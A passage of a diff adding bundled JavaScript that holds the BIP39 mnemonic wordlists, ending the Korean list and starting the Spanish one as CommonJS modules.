+ "배꼽", + "배달", + "배드민턴", + "백두산", + "백색", + "백성", + "백인", + "백제", + "백화점", + "버릇", + "버섯", + "버튼", + "번개", + "번역", + "번지", + "번호", + "벌금", + "벌레", + "벌써", + "범위", + "범인", + "범죄", + "법률", + "법원", + "법적", + "법칙", + "베이징", + "벨트", + "변경", + "변동", + "변명", + "변신", + "변호사", + "변화", + "별도", + "별명", + "별일", + "병실", + "병아리", + "병원", + "보관", + "보너스", + "보라색", + "보람", + "보름", + "보상", + "보안", + "보자기", + "보장", + "보전", + "보존", + "보통", + "보편적", + "보험", + "복도", + "복사", + "복숭아", + "복습", + "볶음", + "본격적", + "본래", + "본부", + "본사", + "본성", + "본인", + "본질", + "볼펜", + "봉사", + "봉지", + "봉투", + "부근", + "부끄러움", + "부담", + "부동산", + "부문", + "부분", + "부산", + "부상", + "부엌", + "부인", + "부작용", + "부장", + "부정", + "부족", + "부지런히", + "부친", + "부탁", + "부품", + "부회장", + "북부", + "북한", + "분노", + "분량", + "분리", + "분명", + "분석", + "분야", + "분위기", + "분필", + "분홍색", + "불고기", + "불과", + "불교", + "불꽃", + "불만", + "불법", + "불빛", + "불안", + "불이익", + "불행", + "브랜드", + "비극", + "비난", + "비닐", + "비둘기", + "비디오", + "비로소", + "비만", + "비명", + "비밀", + "비바람", + "비빔밥", + "비상", + "비용", + "비율", + "비중", + "비타민", + "비판", + "빌딩", + "빗물", + "빗방울", + "빗줄기", + "빛깔", + "빨간색", + "빨래", + "빨리", + "사건", + "사계절", + "사나이", + "사냥", + "사람", + "사랑", + "사립", + "사모님", + "사물", + "사방", + "사상", + "사생활", + "사설", + "사슴", + "사실", + "사업", + "사용", + "사월", + "사장", + "사전", + "사진", + "사촌", + "사춘기", + "사탕", + "사투리", + "사흘", + "산길", + "산부인과", + "산업", + "산책", + "살림", + "살인", + "살짝", + "삼계탕", + "삼국", + "삼십", + "삼월", + "삼촌", + "상관", + "상금", + "상대", + "상류", + "상반기", + "상상", + "상식", + "상업", + "상인", + "상자", + "상점", + "상처", + "상추", + "상태", + "상표", + "상품", + "상황", + "새벽", + "색깔", + "색연필", + "생각", + "생명", + "생물", + "생방송", + "생산", + "생선", + "생신", + "생일", + "생활", + "서랍", + "서른", + "서명", + "서민", + "서비스", + "서양", + "서울", + "서적", + "서점", + "서쪽", + "서클", + "석사", + "석유", + "선거", + "선물", + "선배", + "선생", + "선수", + "선원", + "선장", + "선전", + "선택", + "선풍기", + "설거지", + "설날", + "설렁탕", + "설명", + "설문", + "설사", + "설악산", + "설치", + "설탕", + "섭씨", + "성공", + "성당", + "성명", + "성별", + "성인", + "성장", + "성적", + "성질", + "성함", + "세금", + "세미나", + "세상", + "세월", + "세종대왕", + "세탁", + "센터", + "센티미터", + "셋째", + "소규모", + "소극적", + "소금", + "소나기", + "소년", + "소득", + "소망", + "소문", + "소설", + "소속", + "소아과", + "소용", + "소원", + "소음", + "소중히", + "소지품", + "소질", + "소풍", + "소형", + "속담", + "속도", + "속옷", + "손가락", + "손길", + "손녀", + "손님", + "손등", + "손목", + "손뼉", + "손실", + "손질", + "손톱", + "손해", + "솔직히", + "솜씨", + "송아지", + "송이", + "송편", + "쇠고기", + "쇼핑", + "수건", + "수년", + "수단", + "수돗물", + "수동적", + "수면", + "수명", + "수박", + "수상", + "수석", + "수술", + "수시로", + "수업", + "수염", + "수영", + "수입", + "수준", + "수집", + "수출", + "수컷", + "수필", + "수학", + "수험생", + "수화기", + "숙녀", + "숙소", + "숙제", + "순간", + "순서", + "순수", + "순식간", + "순위", + "숟가락", + "술병", + "술집", + "숫자", + "스님", + "스물", + "스스로", + "스승", + "스웨터", + "스위치", + "스케이트", + "스튜디오", + "스트레스", + "스포츠", + "슬쩍", + "슬픔", + "습관", + "습기", + "승객", + "승리", + "승부", + "승용차", + "승진", + "시각", + "시간", + "시골", + "시금치", + "시나리오", + "시댁", + "시리즈", + "시멘트", + "시민", + "시부모", + "시선", + "시설", + "시스템", + "시아버지", + "시어머니", + "시월", + "시인", + "시일", + "시작", + "시장", + "시절", + "시점", + "시중", + "시즌", + "시집", + "시청", + "시합", + "시험", + "식구", + "식기", + "식당", + "식량", + "식료품", + "식물", + "식빵", + "식사", + "식생활", + "식초", + "식탁", + "식품", + "신고", + "신규", + "신념", + "신문", + "신발", + "신비", + "신사", + "신세", + "신용", + "신제품", + "신청", + "신체", + "신화", + "실감", + "실내", + "실력", + "실례", + "실망", + "실수", + "실습", + "실시", + "실장", + "실정", + "실질적", + "실천", + "실체", + "실컷", + "실태", + "실패", + "실험", + "실현", + "심리", + "심부름", + "심사", + "심장", + "심정", + "심판", + "쌍둥이", + "씨름", + "씨앗", + "아가씨", + "아나운서", + "아드님", + "아들", + "아쉬움", + "아스팔트", + "아시아", + "아울러", + "아저씨", + "아줌마", + "아직", + "아침", + "아파트", + "아프리카", + "아픔", + "아홉", + "아흔", + "악기", + "악몽", + "악수", + "안개", + "안경", + "안과", + "안내", + "안녕", + "안동", + "안방", + "안부", + "안주", + "알루미늄", + "알코올", + "암시", + "암컷", + "압력", + "앞날", + "앞문", + "애인", + "애정", + "액수", + "앨범", + "야간", + "야단", + "야옹", + "약간", + "약국", + "약속", + "약수", + "약점", + "약품", + "약혼녀", + "양념", + "양력", + "양말", + "양배추", + "양주", + "양파", + "어둠", + "어려움", + "어른", + "어젯밤", + "어쨌든", + "어쩌다가", + "어쩐지", + "언니", + "언덕", + "언론", + "언어", + "얼굴", + "얼른", + "얼음", + "얼핏", + "엄마", + "업무", + "업종", + "업체", + "엉덩이", + "엉망", + "엉터리", + "엊그제", + "에너지", + "에어컨", + "엔진", + "여건", + "여고생", + "여관", + "여군", + "여권", + "여대생", + "여덟", + "여동생", + "여든", + "여론", + "여름", + "여섯", + "여성", + "여왕", + "여인", + "여전히", + "여직원", + "여학생", + "여행", + "역사", + "역시", + "역할", + "연결", + "연구", + "연극", + "연기", + "연락", + "연설", + "연세", + "연속", + "연습", + "연애", + "연예인", + "연인", + "연장", + "연주", + "연출", + "연필", + "연합", + "연휴", + "열기", + "열매", + "열쇠", + "열심히", + "열정", + "열차", + "열흘", + "염려", + "엽서", + "영국", + "영남", + "영상", + "영양", + "영역", + "영웅", + "영원히", + "영하", + "영향", + "영혼", + "영화", + "옆구리", + "옆방", + "옆집", + "예감", + "예금", + "예방", + "예산", + "예상", + "예선", + "예술", + "예습", + "예식장", + "예약", + "예전", + "예절", + "예정", + "예컨대", + "옛날", + "오늘", + "오락", + "오랫동안", + "오렌지", + "오로지", + "오른발", + "오븐", + "오십", + "오염", + "오월", + "오전", + "오직", + "오징어", + "오페라", + "오피스텔", + "오히려", + "옥상", + "옥수수", + "온갖", + "온라인", + "온몸", + "온종일", + "온통", + "올가을", + "올림픽", + "올해", + "옷차림", + "와이셔츠", + "와인", + "완성", + "완전", + "왕비", + "왕자", + "왜냐하면", + "왠지", + "외갓집", + "외국", + "외로움", + "외삼촌", + "외출", + "외침", + "외할머니", + "왼발", + "왼손", + "왼쪽", + "요금", + "요일", + "요즘", + "요청", + "용기", + "용서", + "용어", + "우산", + "우선", + "우승", + "우연히", + "우정", + "우체국", + "우편", + "운동", + "운명", + "운반", + "운전", + "운행", + "울산", + "울음", + "움직임", + "웃어른", + "웃음", + "워낙", + "원고", + "원래", + "원서", + "원숭이", + "원인", + "원장", + "원피스", + "월급", + "월드컵", + "월세", + "월요일", + "웨이터", + "위반", + "위법", + "위성", + "위원", + "위험", + "위협", + "윗사람", + "유난히", + "유럽", + "유명", + "유물", + "유산", + "유적", + "유치원", + "유학", + "유행", + "유형", + "육군", + "육상", + "육십", + "육체", + "은행", + "음력", + "음료", + "음반", + "음성", + "음식", + "음악", + "음주", + "의견", + "의논", + "의문", + "의복", + "의식", + "의심", + "의외로", + "의욕", + "의원", + "의학", + "이것", + "이곳", + "이념", + "이놈", + "이달", + "이대로", + "이동", + "이렇게", + "이력서", + "이론적", + "이름", + "이민", + "이발소", + "이별", + "이불", + "이빨", + "이상", + "이성", + "이슬", + "이야기", + "이용", + "이웃", + "이월", + "이윽고", + "이익", + "이전", + "이중", + "이튿날", + "이틀", + "이혼", + "인간", + "인격", + "인공", + "인구", + "인근", + "인기", + "인도", + "인류", + "인물", + "인생", + "인쇄", + "인연", + "인원", + "인재", + "인종", + "인천", + "인체", + "인터넷", + "인하", + "인형", + "일곱", + "일기", + "일단", + "일대", + "일등", + "일반", + "일본", + "일부", + "일상", + "일생", + "일손", + "일요일", + "일월", + "일정", + "일종", + "일주일", + "일찍", + "일체", + "일치", + "일행", + "일회용", + "임금", + "임무", + "입대", + "입력", + "입맛", + "입사", + "입술", + "입시", + "입원", + "입장", + "입학", + "자가용", + "자격", + "자극", + "자동", + "자랑", + "자부심", + "자식", + "자신", + "자연", + "자원", + "자율", + "자전거", + "자정", + "자존심", + "자판", + "작가", + "작년", + "작성", + "작업", + "작용", + "작은딸", + "작품", + "잔디", + "잔뜩", + "잔치", + "잘못", + "잠깐", + "잠수함", + "잠시", + "잠옷", + "잠자리", + "잡지", + "장관", + "장군", + "장기간", + "장래", + "장례", + "장르", + "장마", + "장면", + "장모", + "장미", + "장비", + "장사", + "장소", + "장식", + "장애인", + "장인", + "장점", + "장차", + "장학금", + "재능", + "재빨리", + "재산", + "재생", + "재작년", + "재정", + "재채기", + "재판", + "재학", + "재활용", + "저것", + "저고리", + "저곳", + "저녁", + "저런", + "저렇게", + "저번", + "저울", + "저절로", + "저축", + "적극", + "적당히", + "적성", + "적용", + "적응", + "전개", + "전공", + "전기", + "전달", + "전라도", + "전망", + "전문", + "전반", + "전부", + "전세", + "전시", + "전용", + "전자", + "전쟁", + "전주", + "전철", + "전체", + "전통", + "전혀", + "전후", + "절대", + "절망", + "절반", + "절약", + "절차", + "점검", + "점수", + "점심", + "점원", + "점점", + "점차", + "접근", + "접시", + "접촉", + "젓가락", + "정거장", + "정도", + "정류장", + "정리", + "정말", + "정면", + "정문", + "정반대", + "정보", + "정부", + "정비", + "정상", + "정성", + "정오", + "정원", + "정장", + "정지", + "정치", + "정확히", + "제공", + "제과점", + "제대로", + "제목", + "제발", + "제법", + "제삿날", + "제안", + "제일", + "제작", + "제주도", + "제출", + "제품", + "제한", + "조각", + "조건", + "조금", + "조깅", + "조명", + "조미료", + "조상", + "조선", + "조용히", + "조절", + "조정", + "조직", + "존댓말", + "존재", + "졸업", + "졸음", + "종교", + "종로", + "종류", + "종소리", + "종업원", + "종종", + "종합", + "좌석", + "죄인", + "주관적", + "주름", + "주말", + "주머니", + "주먹", + "주문", + "주민", + "주방", + "주변", + "주식", + "주인", + "주일", + "주장", + "주전자", + "주택", + "준비", + "줄거리", + "줄기", + "줄무늬", + "중간", + "중계방송", + "중국", + "중년", + "중단", + "중독", + "중반", + "중부", + "중세", + "중소기업", + "중순", + "중앙", + "중요", + "중학교", + "즉석", + "즉시", + "즐거움", + "증가", + "증거", + "증권", + "증상", + "증세", + "지각", + "지갑", + "지경", + "지극히", + "지금", + "지급", + "지능", + "지름길", + "지리산", + "지방", + "지붕", + "지식", + "지역", + "지우개", + "지원", + "지적", + "지점", + "지진", + "지출", + "직선", + "직업", + "직원", + "직장", + "진급", + "진동", + "진로", + "진료", + "진리", + "진짜", + "진찰", + "진출", + "진통", + "진행", + "질문", + "질병", + "질서", + "짐작", + "집단", + "집안", + "집중", + "짜증", + "찌꺼기", + "차남", + "차라리", + "차량", + "차림", + "차별", + "차선", + "차츰", + "착각", + "찬물", + "찬성", + "참가", + "참기름", + "참새", + "참석", + "참여", + "참외", + "참조", + "찻잔", + "창가", + "창고", + "창구", + "창문", + "창밖", + "창작", + "창조", + "채널", + "채점", + "책가방", + "책방", + "책상", + "책임", + "챔피언", + "처벌", + "처음", + "천국", + "천둥", + "천장", + "천재", + "천천히", + "철도", + "철저히", + "철학", + "첫날", + "첫째", + "청년", + "청바지", + "청소", + "청춘", + "체계", + "체력", + "체온", + "체육", + "체중", + "체험", + "초등학생", + "초반", + "초밥", + "초상화", + "초순", + "초여름", + "초원", + "초저녁", + "초점", + "초청", + "초콜릿", + "촛불", + "총각", + "총리", + "총장", + "촬영", + "최근", + "최상", + "최선", + "최신", + "최악", + "최종", + "추석", + "추억", + "추진", + "추천", + "추측", + "축구", + "축소", + "축제", + "축하", + "출근", + "출발", + "출산", + "출신", + "출연", + "출입", + "출장", + "출판", + "충격", + "충고", + "충돌", + "충분히", + "충청도", + "취업", + "취직", + "취향", + "치약", + "친구", + "친척", + "칠십", + "칠월", + "칠판", + "침대", + "침묵", + "침실", + "칫솔", + "칭찬", + "카메라", + "카운터", + "칼국수", + "캐릭터", + "캠퍼스", + "캠페인", + "커튼", + "컨디션", + "컬러", + "컴퓨터", + "코끼리", + "코미디", + "콘서트", + "콜라", + "콤플렉스", + "콩나물", + "쾌감", + "쿠데타", + "크림", + "큰길", + "큰딸", + "큰소리", + "큰아들", + "큰어머니", + "큰일", + "큰절", + "클래식", + "클럽", + "킬로", + "타입", + "타자기", + "탁구", + "탁자", + "탄생", + "태권도", + "태양", + "태풍", + "택시", + "탤런트", + "터널", + "터미널", + "테니스", + "테스트", + "테이블", + "텔레비전", + "토론", + "토마토", + "토요일", + "통계", + "통과", + "통로", + "통신", + "통역", + "통일", + "통장", + "통제", + "통증", + "통합", + "통화", + "퇴근", + "퇴원", + "퇴직금", + "튀김", + "트럭", + "특급", + "특별", + "특성", + "특수", + "특징", + "특히", + "튼튼히", + "티셔츠", + "파란색", + "파일", + "파출소", + "판결", + "판단", + "판매", + "판사", + "팔십", + "팔월", + "팝송", + "패션", + "팩스", + "팩시밀리", + "팬티", + "퍼센트", + "페인트", + "편견", + "편의", + "편지", + "편히", + "평가", + "평균", + "평생", + "평소", + "평양", + "평일", + "평화", + "포스터", + "포인트", + "포장", + "포함", + "표면", + "표정", + "표준", + "표현", + "품목", + "품질", + "풍경", + "풍속", + "풍습", + "프랑스", + "프린터", + "플라스틱", + "피곤", + "피망", + "피아노", + "필름", + "필수", + "필요", + "필자", + "필통", + "핑계", + "하느님", + "하늘", + "하드웨어", + "하룻밤", + "하반기", + "하숙집", + "하순", + "하여튼", + "하지만", + "하천", + "하품", + "하필", + "학과", + "학교", + "학급", + "학기", + "학년", + "학력", + "학번", + "학부모", + "학비", + "학생", + "학술", + "학습", + "학용품", + "학원", + "학위", + "학자", + "학점", + "한계", + "한글", + "한꺼번에", + "한낮", + "한눈", + "한동안", + "한때", + "한라산", + "한마디", + "한문", + "한번", + "한복", + "한식", + "한여름", + "한쪽", + "할머니", + "할아버지", + "할인", + "함께", + "함부로", + "합격", + "합리적", + "항공", + "항구", + "항상", + "항의", + "해결", + "해군", + "해답", + "해당", + "해물", + "해석", + "해설", + "해수욕장", + "해안", + "핵심", + "핸드백", + "햄버거", + "햇볕", + "햇살", + "행동", + "행복", + "행사", + "행운", + "행위", + "향기", + "향상", + "향수", + "허락", + "허용", + "헬기", + "현관", + "현금", + "현대", + "현상", + "현실", + "현장", + "현재", + "현지", + "혈액", + "협력", + "형부", + "형사", + "형수", + "형식", + "형제", + "형태", + "형편", + "혜택", + "호기심", + "호남", + "호랑이", + "호박", + "호텔", + "호흡", + "혹시", + "홀로", + "홈페이지", + "홍보", + "홍수", + "홍차", + "화면", + "화분", + "화살", + "화요일", + "화장", + "화학", + "확보", + "확인", + "확장", + "확정", + "환갑", + "환경", + "환영", + "환율", + "환자", + "활기", + "활동", + "활발히", + "활용", + "활짝", + "회견", + "회관", + "회복", + "회색", + "회원", + "회장", + "회전", + "횟수", + "횡단보도", + "효율적", + "후반", + "후춧가루", + "훈련", + "훨씬", + "휴식", + "휴일", + "흉내", + "흐름", + "흑백", + "흑인", + "흔적", + "흔히", + "흥미", + "흥분", + "희곡", + "희망", + "희생", + "흰색", + "힘껏" + ]; +}); + +// node_modules/bip39/wordlists/spanish.json +var require_spanish = __commonJS((exports, module) => { + module.exports = [ + "ábaco", + "abdomen", + "abeja", + "abierto", + "abogado", + "abono", + "aborto", + "abrazo", + "abrir", + "abuelo", + "abuso", + "acabar", + "academia", + "acceso", + "acción", + "aceite", + "acelga", + "acento", + "aceptar", + "ácido", + "aclarar", + "acné", + "acoger", + "acoso", + "activo", + "acto", + "actriz", + "actuar", + "acudir", + "acuerdo", + "acusar", + "adicto", + "admitir", + "adoptar", + "adorno", + "aduana", + "adulto", + "aéreo", + "afectar", + "afición", + "afinar", + "afirmar", + "ágil", + "agitar", + "agonía", + "agosto", + "agotar", + "agregar", + "agrio", + "agua", + "agudo", + "águila", + "aguja", + "ahogo", + "ahorro", + "aire", + "aislar", + "ajedrez", + "ajeno", + "ajuste", + "alacrán", + "alambre", + "alarma", + "alba", + "álbum", + "alcalde", + "aldea", + "alegre", + "alejar", + "alerta", + "aleta", + "alfiler", + "alga", + "algodón", + "aliado", + "aliento", + "alivio", + "alma", + "almeja", + "almíbar", + "altar", + "alteza", + "altivo", + "alto", + "altura", + "alumno", + "alzar", + "amable", + "amante", + "amapola", + "amargo", + "amasar", + "ámbar", + "ámbito", + "ameno", + "amigo", + "amistad", + "amor", + "amparo", + "amplio", + "ancho", + "anciano", + "ancla", + "andar", + "andén", + "anemia", + "ángulo", + "anillo", + "ánimo", + "anís", + "anotar", + "antena", + "antiguo", + "antojo", + "anual", + "anular", + "anuncio", + "añadir", + "añejo", + "año", + "apagar", + "aparato", + "apetito", + "apio", + "aplicar", + "apodo", + "aporte", + "apoyo", + "aprender", + "aprobar", + "apuesta", + "apuro", + "arado", + "araña", + "arar", + "árbitro", + "árbol", + "arbusto", + "archivo", + "arco", + "arder", + "ardilla", + "arduo", + "área", + "árido", + "aries", + "armonía", + "arnés", + "aroma", + "arpa", + "arpón", + "arreglo", + "arroz", + "arruga", + "arte", + "artista", + "asa", + "asado", + "asalto", + "ascenso", + "asegurar", + "aseo", + "asesor", + "asiento", + "asilo", + "asistir", + "asno", + "asombro", + "áspero", + "astilla", + "astro", + "astuto", + "asumir", + "asunto", + "atajo", + "ataque", + "atar", + "atento", + "ateo", + "ático", + "atleta", + "átomo", + "atraer", + "atroz", + "atún", + "audaz", + "audio", + "auge", + "aula", + "aumento", + "ausente", + "autor", + "aval", + "avance", + "avaro", + "ave", + "avellana", + "avena", + "avestruz", + "avión", + "aviso", + "ayer", + "ayuda", + "ayuno", + "azafrán", + "azar", + "azote", + "azúcar", + "azufre", + "azul", + "baba", + "babor", + "bache", + "bahía", + "baile", + "bajar", + "balanza", + "balcón", + "balde", + "bambú", + "banco", + "banda", + "baño", + "barba", + "barco", + "barniz", + "barro", + "báscula", + "bastón", + "basura", + "batalla", + "batería", + "batir", + "batuta", + "baúl", + "bazar", + "bebé", + "bebida", + "bello", + "besar", + "beso", + "bestia", + "bicho", + "bien", + "bingo", + "blanco", + "bloque", + "blusa", + "boa", + "bobina", + "bobo", + "boca", + "bocina", + "boda", + "bodega", + "boina", + "bola", + "bolero", + "bolsa", + "bomba", + "bondad", + "bonito", + "bono", + "bonsái", + "borde", + "borrar", + "bosque", + "bote", + "botín", + "bóveda", + "bozal", + "bravo", + "brazo", + "brecha", + "breve", + "brillo", + "brinco", + "brisa", + "broca", + "broma", + "bronce", + "brote", + "bruja", + "brusco", + "bruto", + "buceo", + "bucle", + "bueno", + "buey", + "bufanda", + "bufón", + "búho", + "buitre", + "bulto", + "burbuja", + "burla", + "burro", + "buscar", + "butaca", + "buzón", + "caballo", + "cabeza", + "cabina", + "cabra", + "cacao", + "cadáver", + "cadena", + "caer", + "café", + "caída", + "caimán", + "caja", + "cajón", + "cal", + "calamar", + "calcio", + "caldo", + "calidad", + "calle", + "calma", + "calor", + "calvo", + "cama", + "cambio", + "camello", + "camino", + "campo", + "cáncer", + "candil", + "canela", + "canguro", + "canica", + "canto", + "caña", + "cañón", + "caoba", + "caos", + "capaz", + "capitán", + "capote", + "captar", + "capucha", + "cara", + "carbón", + "cárcel", + "careta", + "carga", + "cariño", + "carne", + "carpeta", + "carro", + "carta", + "casa", + "casco", + "casero", + "caspa", + "castor", + "catorce", + "catre", + "caudal", + "causa", + "cazo", + "cebolla", + "ceder", + "cedro", + "celda", + "célebre", + "celoso", + "célula", + "cemento", + "ceniza", + "centro", + "cerca", + "cerdo", + "cereza", + "cero", + "cerrar", + "certeza", + "césped", + "cetro", + "chacal", + "chaleco", + "champú", + "chancla", + "chapa", + "charla", + "chico", + "chiste", + "chivo", + "choque", + "choza", + "chuleta", + "chupar", + "ciclón", + "ciego", + "cielo", + "cien", + "cierto", + "cifra", + "cigarro", + "cima", + "cinco", + "cine", + "cinta", + "ciprés", + "circo", + "ciruela", + "cisne", + "cita", + "ciudad", + "clamor", + "clan", + "claro", + "clase", + "clave", + "cliente", + "clima", + "clínica", + "cobre", + "cocción", + "cochino", + "cocina", + "coco", + "código", + "codo", + "cofre", + "coger", + "cohete", + "cojín", + "cojo", + "cola", + "colcha", + "colegio", + "colgar", + "colina", + "collar", + "colmo", + "columna", + "combate", + "comer", + "comida", + "cómodo", + "compra", + "conde", + "conejo", + "conga", + "conocer", + "consejo", + "contar", + "copa", + "copia", + "corazón", + "corbata", + "corcho", + "cordón", + "corona", + "correr", + "coser", + "cosmos", + "costa", + "cráneo", + "cráter", + "crear", + "crecer", + "creído", + "crema", + "cría", + "crimen", + "cripta", + "crisis", + "cromo", + "crónica", + "croqueta", + "crudo", + "cruz", + "cuadro", + "cuarto", + "cuatro", + "cubo", + "cubrir", + "cuchara", + "cuello", + "cuento", + "cuerda", + "cuesta", + "cueva", + "cuidar", + "culebra", + "culpa", + "culto", + "cumbre", + "cumplir", + "cuna", + "cuneta", + "cuota", + "cupón", + "cúpula", + "curar", + "curioso", + "curso", + "curva", + "cutis", + "dama", + "danza", + "dar", + "dardo", + "dátil", + "deber", + "débil", + "década", + "decir", + "dedo", + "defensa", + "definir", + "dejar", + "delfín", + "delgado", + "delito", + "demora", + "denso", + "dental", + "deporte", + "derecho", + "derrota", + "desayuno", + "deseo", + "desfile", + "desnudo", + "destino", + "desvío", + "detalle", + "detener", + "deuda", + "día", + "diablo", + "diadema", + "diamante", + "diana", + "diario", + "dibujo", + "dictar", + "diente", + "dieta", + "diez", + "difícil", + "digno", + "dilema", + "diluir", + "dinero", + "directo", + "dirigir", + "disco", + "diseño", + "disfraz", + "diva", + "divino", + "doble", + "doce", + "dolor", + "domingo", + "don", + "donar", + "dorado", + "dormir", + "dorso", + "dos", + "dosis", + "dragón", + "droga", + "ducha", + "duda", + "duelo", + "dueño", + "dulce", + "dúo", + "duque", + "durar", + "dureza", + "duro", + "ébano", + "ebrio", + "echar", + "eco", + "ecuador", + "edad", + "edición", + "edificio", + "editor", + "educar", + "efecto", + "eficaz", + "eje", + "ejemplo", + "elefante", + "elegir", + "elemento", + "elevar", + "elipse", + "élite", + "elixir", + "elogio", + "eludir", + "embudo", + "emitir", + "emoción", + "empate", + "empeño", + "empleo", + "empresa", + "enano", + "encargo", + "enchufe", + "encía", + "enemigo", + "enero", + "enfado", + "enfermo", + "engaño", + "enigma", + "enlace", + "enorme", + "enredo", + "ensayo", + "enseñar", + "entero", + "entrar", + "envase", + "envío", + "época", + "equipo", + "erizo", + "escala", + "escena", + "escolar", + "escribir", + "escudo", + "esencia", + "esfera", + "esfuerzo", + "espada", + "espejo", + "espía", + "esposa", + "espuma", + "esquí", + "estar", + "este", + "estilo", + "estufa", + "etapa", + "eterno", + "ética", + "etnia", + "evadir", + "evaluar", + "evento", + "evitar", + "exacto", + "examen", + "exceso", + "excusa", + "exento", + "exigir", + "exilio", + "existir", + "éxito", + "experto", + "explicar", + "exponer", + "extremo", + "fábrica", + "fábula", + "fachada", + "fácil", + "factor", + "faena", + "faja", + "falda", + "fallo", + "falso", + "faltar", + "fama", + "familia", + "famoso", + "faraón", + "farmacia", + "farol", + "farsa", + "fase", + "fatiga", + "fauna", + "favor", + "fax", + "febrero", + "fecha", + "feliz", + "feo", + "feria", + "feroz", + "fértil", + "fervor", + "festín", + "fiable", + "fianza", + "fiar", + "fibra", + "ficción", + "ficha", + "fideo", + "fiebre", + "fiel", + "fiera", + "fiesta", + "figura", + "fijar", + "fijo", + "fila", + "filete", + "filial", + "filtro", + "fin", + "finca", + "fingir", + "finito", + "firma", + "flaco", + "flauta", + "flecha", + "flor", + "flota", + "fluir", + "flujo", + "flúor", + "fobia", + "foca", + "fogata", + "fogón", + "folio", + "folleto", + "fondo", + "forma", + "forro", + "fortuna", + "forzar", + "fosa", + "foto", + "fracaso", + "frágil", + "franja", + "frase", + "fraude", + "freír", + "freno", + "fresa", + "frío", + "frito", + "fruta", + "fuego", + "fuente", + "fuerza", + "fuga", + "fumar", + "función", + "funda", + "furgón", + "furia", + "fusil", + "fútbol", + "futuro", + "gacela", + "gafas", + "gaita", + "gajo", + "gala", + "galería", + "gallo", + "gamba", + "ganar", + "gancho", + "ganga", + "ganso", + "garaje", + "garza", + "gasolina", + "gastar", + "gato", + "gavilán", + "gemelo", + "gemir", + "gen", + "género", + "genio", + "gente", + "geranio", + "gerente", + "germen", + "gesto", + "gigante", + "gimnasio", + "girar", + "giro", + "glaciar", + "globo", + "gloria", + "gol", + "golfo", + "goloso", + "golpe", + "goma", + "gordo", + "gorila", + "gorra", + "gota", + "goteo", + "gozar", + "grada", + "gráfico", + "grano", + "grasa", + "gratis", + "grave", + "grieta", + "grillo", + "gripe", + "gris", + "grito", + "grosor", + "grúa", + "grueso", + "grumo", + "grupo", + "guante", + "guapo", + "guardia", + "guerra", + "guía", + "guiño", + "guion", + "guiso", + "guitarra", + "gusano", + "gustar", + "haber", + "hábil", + "hablar", + "hacer", + "hacha", + "hada", + "hallar", + "hamaca", + "harina", + "haz", + "hazaña", + "hebilla", + "hebra", + "hecho", + "helado", + "helio", + "hembra", + "herir", + "hermano", + "héroe", + "hervir", + "hielo", + "hierro", + "hígado", + "higiene", + "hijo", + "himno", + "historia", + "hocico", + "hogar", + "hoguera", + "hoja", + "hombre", + "hongo", + "honor", + "honra", + "hora", + "hormiga", + "horno", + "hostil", + "hoyo", + "hueco", + "huelga", + "huerta", + "hueso", + "huevo", + "huida", + "huir", + "humano", + "húmedo", + "humilde", + "humo", + "hundir", + "huracán", + "hurto", + "icono", + "ideal", + "idioma", + "ídolo", + "iglesia", + "iglú", + "igual", + "ilegal", + "ilusión", + "imagen", + "imán", + "imitar", + "impar", + "imperio", + "imponer", + "impulso", + "incapaz", + "índice", + "inerte", + "infiel", + "informe", + "ingenio", + "inicio", + "inmenso", + "inmune", + "innato", + "insecto", + "instante", + "interés", + "íntimo", + "intuir", + "inútil", + "invierno", + "ira", + "iris", + "ironía", + "isla", + "islote", + "jabalí", + "jabón", + "jamón", + "jarabe", + "jardín", + "jarra", + "jaula", + "jazmín", + "jefe", + "jeringa", + "jinete", + "jornada", + "joroba", + "joven", + "joya", + "juerga", + "jueves", + "juez", + "jugador", + "jugo", + "juguete", + "juicio", + "junco", + "jungla", + "junio", + "juntar", + "júpiter", + "jurar", + "justo", + "juvenil", + "juzgar", + "kilo", + "koala", + "labio", + "lacio", + "lacra", + "lado", + "ladrón", + "lagarto", + "lágrima", + "laguna", + "laico", + "lamer", + "lámina", + "lámpara", + "lana", + "lancha", + "langosta", + "lanza", + "lápiz", + "largo", + "larva", + "lástima", + "lata", + "látex", + "latir", + "laurel", + "lavar", + "lazo", + "leal", + "lección", + "leche", + "lector", + "leer", + "legión", + "legumbre", + "lejano", + "lengua", + "lento", + "leña", + "león", + "leopardo", + "lesión", + "letal", + "letra", + "leve", + "leyenda", + "libertad", + "libro", + "licor", + "líder", + "lidiar", + "lienzo", + "liga", + "ligero", + "lima", + "límite", + "limón", + "limpio", + "lince", + "lindo", + "línea", + "lingote", + "lino", + "linterna", + "líquido", + "liso", + "lista", + "litera", + "litio", + "litro", + "llaga", + "llama", + "llanto", + "llave", + "llegar", + "llenar", + "llevar", + "llorar", + "llover", + "lluvia", + "lobo", + "loción", + "loco", + "locura", + "lógica", + "logro", + "lombriz", + "lomo", + "lonja", + "lote", + "lucha", + "lucir", + "lugar", + "lujo", + "luna", + "lunes", + "lupa", + "lustro", + "luto", + "luz", + "maceta", + "macho", + "madera", + "madre", + "maduro", + "maestro", + "mafia", + "magia", + "mago", + "maíz", + "maldad", + "maleta", + "malla", + "malo", + "mamá", + "mambo", + "mamut", + "manco", + "mando", + "manejar", + "manga", + "maniquí", + "manjar", + "mano", + "manso", + "manta", + "mañana", + "mapa", + "máquina", + "mar", + "marco", + "marea", + "marfil", + "margen", + "marido", + "mármol", + "marrón", + "martes", + "marzo", + "masa", + "máscara", + "masivo", + "matar", + "materia", + "matiz", + "matriz", + "máximo", + "mayor", + "mazorca", + "mecha", + "medalla", + "medio", + "médula", + "mejilla", + "mejor", + "melena", + "melón", + "memoria", + "menor", + "mensaje", + "mente", + "menú", + "mercado", + "merengue", + "mérito", + "mes", + "mesón", + "meta", + "meter", + "método", + "metro", + "mezcla", + "miedo", + "miel", + "miembro", + "miga", + "mil", + "milagro", + "militar", + "millón", + "mimo", + "mina", + "minero", + "mínimo", + "minuto", + "miope", + "mirar", + "misa", + "miseria", + "misil", + "mismo", + "mitad", + "mito", + "mochila", + "moción", + "moda", + "modelo", + "moho", + "mojar", + "molde", + "moler", + "molino", + "momento", + "momia", + "monarca", + "moneda", + "monja", + "monto", + "moño", + "morada", + "morder", + "moreno", + "morir", + "morro", + "morsa", + "mortal", + "mosca", + "mostrar", + "motivo", + "mover", + "móvil", + "mozo", + "mucho", + "mudar", + "mueble", + "muela", + "muerte", + "muestra", + "mugre", + "mujer", + "mula", + "muleta", + "multa", + "mundo", + "muñeca", + "mural", + "muro", + "músculo", + "museo", + "musgo", + "música", + "muslo", + "nácar", + "nación", + "nadar", + "naipe", + "naranja", + "nariz", + "narrar", 